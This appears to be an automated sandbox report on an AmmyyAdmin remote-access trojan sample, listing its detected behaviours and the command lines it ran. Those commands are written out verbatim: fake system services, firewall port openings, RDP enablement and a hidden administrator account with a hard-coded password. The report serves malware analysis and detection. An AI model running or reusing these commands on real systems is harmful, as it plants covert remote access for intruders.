Malware Analysis Report

2024-10-16 05:09

Sample ID 240916-aagz5ayeje
Target e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118
SHA256 331e3adde8909777973f5e11c688fc3b9be605a4cf52f80171c23be73e94f894
Tags
defense_evasion discovery evasion execution persistence privilege_escalation ammyyadmin rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

331e3adde8909777973f5e11c688fc3b9be605a4cf52f80171c23be73e94f894

Threat Level: Known bad

The file e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

defense_evasion discovery evasion execution persistence privilege_escalation ammyyadmin rat

AmmyyAdmin payload

Ammyy Admin

Grants admin privileges

Modifies Windows Firewall

Stops running service(s)

Sets service image path in registry

Creates new service(s)

Loads dropped DLL

Executes dropped EXE

Password Policy Discovery

Hide Artifacts: Hidden Users

Launches sc.exe

Permission Groups Discovery: Local Groups

Unsigned PE

Event Triggered Execution: Netsh Helper DLL

System Location Discovery: System Language Discovery

Kills process with taskkill

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Runs net.exe

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-16 00:00

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-16 00:00

Reported

2024-09-16 00:02

Platform

win7-20240708-en

Max time kernel

120s

Max time network

121s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe"

Signatures

Grants admin privileges

Creates new service(s)

persistence execution

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A

Sets service image path in registry

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\svchost.exe -service -debug" C:\Windows\SysWOW64\REG.exe N/A

Stops running service(s)

evasion execution

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe N/A

Password Policy Discovery

discovery

Hide Artifacts: Hidden Users

defense_evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Microsoft = "0" C:\Windows\SysWOW64\REG.exe N/A

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A

Permission Groups Discovery: Local Groups

discovery

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\ctfmon.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2368 wrote to memory of 2356 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2356 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2356 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2356 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 584 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 584 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 584 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 584 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\taskkill.exe
PID 2368 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\taskkill.exe
PID 2368 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\taskkill.exe
PID 2368 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\taskkill.exe
PID 2368 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 2368 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 2368 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 2368 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 2368 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2776 wrote to memory of 2684 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ctfmon.exe
PID 2776 wrote to memory of 2684 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ctfmon.exe
PID 2776 wrote to memory of 2684 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ctfmon.exe
PID 2776 wrote to memory of 2684 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ctfmon.exe
PID 2368 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 1988 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 1988 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 1988 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 1988 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2368 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 1220 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 1220 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 1220 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 1220 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2368 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 276 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 276 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 276 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2368 wrote to memory of 276 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe

Processes

C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe"

C:\Windows\SysWOW64\sc.exe

sc stop "ProtocolWindows_ "

C:\Windows\SysWOW64\sc.exe

sc delete "ProtocolWindows_ "

C:\Windows\SysWOW64\sc.exe

sc stop "PlugAndPlay"

C:\Windows\SysWOW64\sc.exe

sc delete "PlugAndPlay"

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im ctfmon.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c ctfmon.exe

C:\Windows\SysWOW64\sc.exe

sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore

C:\Windows\SysWOW64\ctfmon.exe

ctfmon.exe

C:\Windows\SysWOW64\sc.exe

sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE

C:\Windows\SysWOW64\sc.exe

sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram ctfmon.exe ENABLE

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 3389 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 31337 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 80 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 8080 name = TCP

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent

C:\Windows\SysWOW64\sc.exe

sc start mnmsrvc

C:\Windows\SysWOW64\sc.exe

sc Start TlntSvr

C:\Windows\SysWOW64\sc.exe

sc Start TermService

C:\Windows\SysWOW64\net.exe

net start FastUserSwitchingCompatibility

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start FastUserSwitchingCompatibility

C:\Windows\SysWOW64\net.exe

net start TermService

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start TermService

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\net.exe

net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes

C:\Windows\SysWOW64\net.exe

net localgroup Microsoft /add

C:\Windows\SysWOW64\net.exe

net localgroup Àäìèíèñòðàòîðû Microsoft /add

C:\Windows\SysWOW64\net.exe

net localgroup Administrators Microsoft /add

C:\Windows\SysWOW64\net.exe

net accounts /maxpwage:unlimited

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Administrators Microsoft /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Microsoft /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 accounts /maxpwage:unlimited

Network

N/A

Files

memory/2368-0-0x0000000000400000-0x0000000000423000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe

MD5 e0b8d7ad878eff7bdfba66d17665eb58
SHA1 ec4ab8ed9ca2ad06749851a76451108b4c608eba
SHA256 779a40fca7a3680a1dcbf08e53be5a63ce41564d452c3053f03e487c8de39952
SHA512 17e457940e4117cc7bd59e6743bf2877495201a3e277ef3133b6370f1148f54a85acc91ab6747b97c1f3beacc49a2fda01bdb89e3d7c6ff6ac76c801e15be650

